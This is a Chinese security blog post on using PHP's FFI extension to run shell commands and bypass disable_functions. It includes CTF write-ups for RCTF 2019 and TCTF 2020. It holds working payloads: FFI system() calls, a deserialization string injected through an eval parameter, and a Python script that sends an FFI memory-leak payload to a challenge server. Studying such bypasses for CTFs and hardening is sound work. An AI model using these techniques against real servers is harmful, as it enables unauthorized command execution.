php system shell html 输出_利用 PHP 中的 FFI 扩展执行命令

点击蓝字,关注我们

本文作者:Match(团队成员)
本文字数:2300

阅读时长:10min

附件/链接:点击查看原文下载

声明:请勿用作违法用途,否则后果自负

本文属于WgpSec原创奖励计划,未经许可禁止转载

扩展简介

FFI 是在 PHP 7.4 版本中新加入的,此扩展允许在 PHP 代码中加载共享库(.DLL 或 .so),调用 C 函数及访问 C 数据结构,简单的说就是允许在 PHP 中运行 C 代码,可以方便的调用C语言的各种库,但同时它的使用伴随着很大的风险

使用配置

使用 FFI 首先要开启扩展,在 php.ini 中去掉 extension=ffi 前面的 ; 并且修改 ffi.enable=true 即可使用,在phpinfo() 中可以查看是否开启了此扩展

基本用法

FFI :: cdef  创建一个新的 FFI 对象

public static FFI::cdef ([ string $code = "" [, string $lib ]] ) : FFI

<?php 
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("echo Hello World>./ttmp");
echo file_get_contents("./ttmp");
?>

结果为

Hello World

FFI :: new  创建一个C数据结构

public static FFI::new ( mixed $type [, bool $owned = TRUE [, bool $persistent = FALSE ]] ) : FFI\CData

<?php 
$x = FFI::new("int");
var_dump($x->cdata);
$x->cdata = 5;
var_dump($x->cdata);
$x->cdata += 2;
var_dump($x->cdata);?>

结果为

int(0)int(5)int(7)

FFI :: load  加载 C 文件

public static FFI::load ( string $filename ) : FFI

FFI :: cast  执行C类型转换

public static FFI::cast ( mixed $type , FFI\CData &$ptr ) : FFI\CData

FFI :: string  从内存区域创建一个PHP字符串

public static FFI::string ( FFI\CData &$ptr [, int $size ] ) : string

FFI :: memcpy  将一个存储区复制到另一个

public static FFI::memcpy ( FFI\CData &$dst , mixed &$src , int $size ) : void

命令执行

这意味着如果目标机器开启了这一扩展,我们就有了一种全新的命令执行方式,在 system 被禁用的情况下,则可使用 FFI 来进行命令执行,例如在题目中执行 /readflag 并获取 flag,同时它也可以加载自定义链接库

<?php 
$ffi = FFI::cdef("int system(const char *command);");
$ffi->system("/readflag > /tmp/123");echo file_get_contents("/tmp/123");
@unlink("/tmp/123");?>

这段代码首先创建了一个新的 FFI 对象调用 Linux 库的 int system(const char* command) 函数,作用是把 command 指定的命令名称或程序名称传给要被命令处理器执行的主机环境,并在命令完成后返回。之后我们就可以通过这种方式来调用 system 函数执行命令并将结果输出到临时文件,再读取文件内容并显示在页面,最后删除创建的临时文件

类似的方法在蚁剑的 bypass disable_function 中可自动调用,但受到目录权限和 open_basedir 的限制导致很多情况下并不起作用

2f9cf84758816747da7d5051d89f3388.png

在一些大型的比赛中,则更需要灵活的运用

比赛真题

RCTF 2019

在 2019 年的 RCTF 中,出现了一道通过反序列化调用 FFI 扩展的命令执行,在 BUUCTF 中提供了复现环境

题目代码:

<?php if (isset($_GET['a'])) {eval($_GET['a']);
} else {
show_source(__FILE__);
}

禁用了

set_time_limit,ini_set,pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,system,exec,shell_exec,popen,proc_open,passthru,symlink,link,syslog,imap_open,ld,mail,putenv,error_log,dl

open_basedir 被限制在 /var/www/html/

另外的 prepare.php 中关键代码

final class A implements Serializable {
protected $data = [
'ret' => null,
'func' => 'print_r',
'arg' => '1'
];

private function run () {
$this->data['ret'] = $this->data['func']($this->data['arg']);
}
......
}

可以看出这里需要通过反序列化调用 FFI 模块执行命令

payload:

<?php final class A implements Serializable {protected $data = ['ret' => null,'func' => 'FFI::cdef','arg' => 'int system(const char* command);'
];public function serialize (): string {return serialize($this->data);
}public function unserialize($payload) {$this->data = unserialize($payload);$this->run();
}
}
$ccc = new A();echo serialize($ccc);?>

传入内容为:

?a=$a=unserialize('C:1:"A":95:{a:3:{s:3:"ret";N;s:4:"func";s:9:"FFI::cdef";s:3:"arg";s:32:"int system(const char* command);";}}');var_dump($a->ret->system('ls'));

即可利用 FFI 扩展进行命令执行

TCTF 2020

同样,在今年的 TCTF 中也出现了 FFI 的内容,比赛中一共有两道相关题目,都是连接 shell 后需要通过 FFI 绕过限制执行文件

题目代码:

<?php if (isset($_GET['rh'])) {eval($_GET['rh']);
} else {
show_source(__FILE__);
}

第一题可直接读取根目录 flag.h 文件获取方法名 flag_fUn3t1on_fFi,之后通过 eval 函数执行 FFI 脚本即可

$ffi = FFI::load("/flag.h");var_dump(FFI::string($ffi->flag_fUn3t1on_fFi()));

第二题无法读取文件,并且禁用了 cdef ,需要通过泄露内存获得方法名进而执行命令,脚本转自一叶飘零师傅博客

import requests
url = "http://pwnable.org:19261"
params = {"rh":
'''
try {$ffi=FFI::load("/flag.h");
//get flag
//$a = $ffi->flag_wAt3_uP_apA3H1();
//for($i = 0; $i < 128; $i++){
echo $a[$i];
//}$a = $ffi->new("char[8]", false);$a[0] = 'f';$a[1] = 'l';$a[2] = 'a';$a[3] = 'g';$a[4] = 'f';$a[5] = 'l';$a[6] = 'a';$a[7] = 'g';$b = $ffi->new("char[8]", false);$b[0] = 'f';$b[1] = 'l';$b[2] = 'a';$b[3] = 'g';$newa = $ffi->cast("void*", $a);
var_dump($newa);$newb = $ffi->cast("void*", $b);
var_dump($newb);$addr_of_a = FFI::new("unsigned long long");
FFI::memcpy($addr_of_a, FFI::addr($newa), 8);
var_dump($addr_of_a);$leak = FFI::new(FFI::arrayType($ffi->type('char'), [102400]), false);
FFI::memcpy($leak, $newa-0x20000, 102400);$tmp = FFI::string($leak,102400);
var_dump($tmp);
//var_dump($leak);
//$leak[0] = 0xdeadbeef;
//$leak[1] = 0x61616161;
//var_dump($a);
//FFI::memcpy($newa-0x8, $leak, 128*8);
//var_dump($a);
//var_dump(777);
} catch (FFI\Exception $ex) {
echo $ex->getMessage(), PHP_EOL;
}
var_dump(1);
'''
}

res = requests.get(url=url,params=params)

print((res.text).encode("utf-8"))

Reference:

https://www.php.net/manual/zh/book.ffi.php

https://skysec.top/2020/06/27/2020-TCTF-Online-Web-WriteUp/

团队招收CTF:WEB、PWN、区块链,安全研究方向的同学

扫描关注公众号回复加群,和师傅们一起讨论研究~

扫码关注我们

665c3f25c2a7b3aa0bde2440a03a7476.png

微信号:wgpsec

Twitter:@wgpsec

7170bdb9efe39ce1bfc96d10a499babd.gif

分享、在看与点赞,至少我要拥有一个吧

Hello 邀请码D598A43E1A9F1F4B8B5B715F52583D15

  • 2
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值